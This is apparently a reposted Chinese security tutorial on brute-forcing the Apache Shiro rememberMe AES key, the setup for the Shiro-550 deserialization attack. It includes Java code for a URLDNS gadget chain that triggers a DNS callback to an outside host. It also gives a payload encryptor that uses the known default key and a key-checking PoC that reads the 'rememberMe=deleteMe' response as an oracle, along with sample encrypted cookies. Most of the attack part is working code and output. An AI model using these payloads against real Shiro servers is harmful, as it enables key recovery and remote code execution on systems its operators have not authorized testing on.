Shiro 密钥爆破
之前的CVE-2016-4437提到过,在shiro-1.2.5及以后,对其进行了修复,密钥不再固定(如果不自己指定的话),而是每次启动时会自动生成一个密钥,那这种情况我们就只需要通过某种方法获取到密钥就可以继续之前的Shiro-550反序列化攻击。
这种方法无非就是爆破,但重要的是如何判断我们爆破成功了?
不了解cve-2016-4437 看:shiro550
DNS回显
根据rememberMe服务可知,只要我们加密的密钥一致,则可以解密出正确数据,然后反序列化。
因此可以想到的思路是用URLDNS链,通过DNS请求的回显判断是否解密成功,从而宣告密钥破解成功
生成序列化数据
package com.unserialization.cc;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import utils.reflection.Reflection;
import utils.serialization.Serialization;
/**
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
* URLStreamHandler.hashCode()
* URLStreamHandler.getHostAddress()
* InetAddress.InetAddress.getByName()
*/
/**
* Created by dotast on 2022/9/18 22:43
*/
public class URLDNS {
public static void main(String[] args) throws Exception{
URLDNS urldns = new URLDNS();
urldns.serialize();
//urldns.unserialize();
}
public void serialize() throws Exception {
HashMap map = new HashMap<>();
URL url = new URL("http://89a1e44b0f.ipv6.1433.eu.org");
Class cls = Class.forName("java.net.URL");
//map.put()底层会将 `(key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16)` 作为entry的hash值
//而url.hashCode() 中如果hashCode = -1 ,进入处理分支会将其值改变,同时会发送DNS请求,干扰观察
Reflection.setFieldValue(url,"hashCode",666);
map.put(url, "dotast");
Reflection.setFieldValue(url, "hashCode", -1);
Serialization.serialize("1.txt", map);
}
public void unserialize() throws Exception{
FileInputStream fileInputStream = new FileInputStream("1.txt");
ObjectInputStream in = new ObjectInputStream(fileInputStream);
in.readObject();
}
}
Reflection,Serialization是自己写的小封装
利用Shiro的AesCipherService生成remberMe payloads [shiro.version == 1.2.4]
package com.unserialization.cb.poc;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
/**
* Created by dotast on 2022/10/10 10:45
*/
public class Shiro550 {
public static void main(String[] args) throws Exception {
String path = "1.txt";
//这里的key是正确的
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(path), key);
// System.out.printf(ciphertext.toString());
try {
BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));
writer.write("");
writer.write(ciphertext.toString());
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
System.out.println("Error: " + e.getMessage());
}
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
key正确
我们假设正确key为kPH+bIxk5D2deZiIxcaaaA==
实验结果:
响应:
记住此时响应包中
rememberMe=deleteMe
控制台:
dig.pm
结果分析
说明我们的密钥爆破成功
key错误
我们把密钥改变:kPH+bIxk5D2deZiIxcaaaA==
-->2AvVhdsgUs0FSA3SDFAdag==
域名不变
实验结果
-
响应
-
控制台输出:
-
dig.pm
和之前一样没有任何变化
shiro自身响应回显
很多情况目标主机很可能不出网,这时DNS回显法失效,故利用shiro本身的响应来判断爆破是否成功
-
经测试,当我们正常使用remberMe服务时,响应中不会出现
rememberMe=deleteMe
什么时候会出现rememberMe=deleteMe
?
remberMe入口:
//AbstractRememberMeManager::
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
可以看到只要不发生异常就不会进入onRememberedPrincipalFailure(re, subjectContext)
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {
if (log.isDebugEnabled()) {
log.debug("...省略...", e);
}
forgetIdentity(context);
//propagate - security manager implementation will handle and warn appropriately
throw e;
}
进入forgetIdentity(context);
//CookieRememberMeManager::
public void forgetIdentity(SubjectContext subjectContext) {
if (WebUtils.isHttp(subjectContext)) {
HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
forgetIdentity(request, response);
}
}
进入forgetIdentity(request, response)
//CookieRememberMeManager::
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
getCookie().removeFrom(request, response);
}
public Cookie getCookie() {
return cookie;
}
进入SimpleCookie.removeFrom
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = getName();
//public static final String DELETED_COOKIE_VALUE = "deleteMe"
String value = DELETED_COOKIE_VALUE;
String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
String domain = getDomain();
String path = calculatePath(request);
int maxAge = 0; //always zero for deletion
int version = getVersion();
boolean secure = isSecure();
boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);
log.trace("Removed '{}' cookie by setting maxAge=0", name);
}
POC
如何让rememberMe=deleteMe
在密钥错误时出现,密钥正确时不出现?
DNS回显中有两种异常
-
key正确时 :ClassCasstException:
class java.util.HashMap cannot be cast to class org.apache.shiro.subject.PrincipalCollection
-
key错误时:BadPaddingException :(注:解密是否成功是看解密后的Padding(填充位)是否有n
个 0x0n ,如果有则证明解密成功,key错误时有可能解密成功但明文必然与加密时的明文不一致,所以在利用解密后的数据进行反序列化时必然发生异常)
Given final block not properly padded. Such issues can arise if a bad key is used during decryption.
所以只要我们让key正确时不发生异常即可,也就是让我们反序列时最外层类型为PrincipalCollection即可
PrincipalCollection继承结构:
package com.unserialization.cb.poc;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* 我们只是测试密钥是否正确,所以只需要序列化一个PrincipalCollection的实例
* 如果key正确,就能正常解密然后序列化,且类型也正确不会发生ClassCastException
* 如果key错误,要么解密失败,会发生BadPaddingException,要么虽然解密成功(根据解密后的填充位判定),但明文必然与加密时的明文大不相同,那么肯定会发生反序列化失败的异常
*/
public class ShiroKeyBurst {
public static void main(String[] args) throws Exception {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
//这里是正确的key
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(simplePrincipalCollection), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(Object obj) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
key正确
ouput:
KzwXDOiwoX7H67Fjp6ue8hCtw0jYbWtk00oWWjr40HCeeqbzOPP+OJXV14zjz1j/iDTql5ynZsSeav0YNk9aJJn/7MYIVGZ7TgoZp3KuwPPX3zkjftUlW10tnQjuDNTjREGoil2CYpOIX/51mTGXkH7N6lmGwc9MyQ5VACRZzFv1qj79ug1rAwY+7Gxg4Blm
结果
key错误
wrong key:2AvVhdsgUs0FSA3SDFAdag==
output
XKDSS0/pouqoRQvLXwACu1REoAfyeDI9WRA0nK46FsY1YRBQ1fMKnSofjE0gZO5jg3FJz+5Cf7A4Tq0GnTUiBSP18FNl+eQNTdmS30YasQISIjj5ScuJQegXQkyD3sWqR2A8+R7DUtH/GvT34L0K7ev35U02270x0ctKdFXTWR4U1Bhp+80fGpXtFwTkCTxg
结果
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)